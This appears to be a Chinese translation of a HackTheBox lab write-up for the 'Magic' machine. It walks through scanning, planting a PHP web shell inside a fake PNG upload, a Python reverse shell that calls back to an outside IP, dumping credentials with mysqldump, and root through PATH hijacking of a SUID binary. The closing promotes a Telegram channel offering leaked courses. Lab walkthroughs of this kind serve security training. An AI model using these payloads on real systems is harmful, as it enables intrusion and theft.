我将继续发布从HackTheBox网站发送到计算机最终定稿的解决方案。
在本文中,我们在图片中投入了一个外壳,使用mysqldump查找凭据并通过sysinfo提升特权。
与实验室的连接是通过VPN。建议您不要从有重要数据的工作计算机或主机进行连接,因为您会发现自己与某个对信息安全有所了解的人处于私有网络中。
组织信息
侦察
这台机器的IP地址为10.10.10.185,我将其添加到/ etc / hosts。
10.10.10.185 magic.htb
第一步是扫描打开的端口。由于使用nmap扫描所有端口会花费很长时间,因此我将首先使用masscan进行扫描。我们以每秒500个数据包的速度扫描来自tun0接口的所有TCP和UDP端口。
masscan -e tun0 -p1-65535,U:1-65535 10.10.10.185 --rate=500
现在,要获取有关端口上运行的服务的更多详细信息,请使用-A选项运行扫描。
nmap -A magic.htb -p22,80
主机有2个开放的端口:22个用于SSH服务,80个用于Web服务器。和往常一样,我们在网上冲浪。
请注意登录页面的链接。首先,我们尝试一种绕过授权的方法,并找到正确的方法。
我们欢迎上载图片的表格。让我们尝试将一些代码放入php。为此,请获取图像的前四个字节并向其中添加一些代码。在这种情况下,我们将保留double扩展名。由于在引导时,服务器将检查后者,并在执行时检查-第一个。
python -c "print('\x89\x50\x4e\x47' + '<?php echo system($_GET[\'cmd\']); ?>')" > 1.php.png
但是我们被抓了。
让我们尝试欺骗代码并将其隐藏在注释中。
尝试下载后,我们会收到有关成功下载的通知。
文件已上传,但问题是在哪里。让我们浏览目录,该站点很简单,而且我花了很多时间,所以我没有使用gobuster和庞大的词典。运行dirb。
最有可能的是,我们找到了文件上传的目录。现在,我们转到文件,然后将ls命令作为参数传递。
完成了!
入口点
让我们将反向外壳作为参数。
http://10.10.10.185/images/uploads/me.php.jpg?cmd=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.15.60",4321));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
我们在端口4321上获得了反向连接。
在工作目录中,我们找到用于数据库的文件。
在此文件中,我们找到用户的密码。
而且,该用户在系统中。我们尝试更改用户,但失败。
用户
由于这是数据库密码,因此它与mysql相关联。但这对我或mysql或mysqladmin均不起作用。然后决定查看与mysql相关的所有程序。
运气对mysqldump微笑。我们连接并找到密码。
mysqldump -u theseus -p iamkingtheseus Magic
现在,我们成功地更改了用户并获得了自定义标志。
根
为了方便起见,我使用ssh-keygen生成了SSH密钥,将公共密钥写入了〜/ .ssh / authorized_keys文件,并使用了我通过SSH连接的私有密钥。接下来,将LinPEAS下载到远程主机并启动。完整列出整个系统后,我们分析输出。我唯一着迷的是设置了SUID的文件(我们以root用户身份运行的文件)。
Sysinfo程序。查找信息后,未发现有关命令执行的任何信息。然后这个想法出现了,如果sysinfo使用我们可以抹黑的其他程序呢?我在ltrace下运行sysinfo。
因此,sysinfo运行lshw,fdisk和cat程序。现在更多关于LPE载体。操作系统具有存储路径的PATH环境变量。
键入ls或cd程序时,系统将依次在PATH中指定的目录中搜索这些文件。因此,如果我们在PATH的首位写入任何目录,并在其中放置另一个ls或cat程序,那么它将被调用。
因此,我将使用fdisk进行此操作。我不会抛出反向外壳,而只是复制我们的SSH密钥,供root用户以及用户通过SSH连接到root。
我们以fdisk为例。如您所见,已调用合法的fdisk。
现在让我们将路径添加到PATH环境变量中。
系统现在将首先在/ tmp / 123中查找fdisk。
让我们运行sysinfo。
由于根目录没有.ssh目录,因此我们在输出中看到错误。让我们更改脚本,以便它首先创建目录,然后复制它。执行sysinfo之后,没有fdisk错误。我们通过SSH以root身份连接并选择该标志。
您可以通过Telegram加入我们。在这里,您可以找到有趣的资料,泄漏的课程和软件。让我们聚集一个社区,在这个社区中,将有很多精通IT领域的人,然后我们始终可以在任何IT和信息安全问题上互相帮助。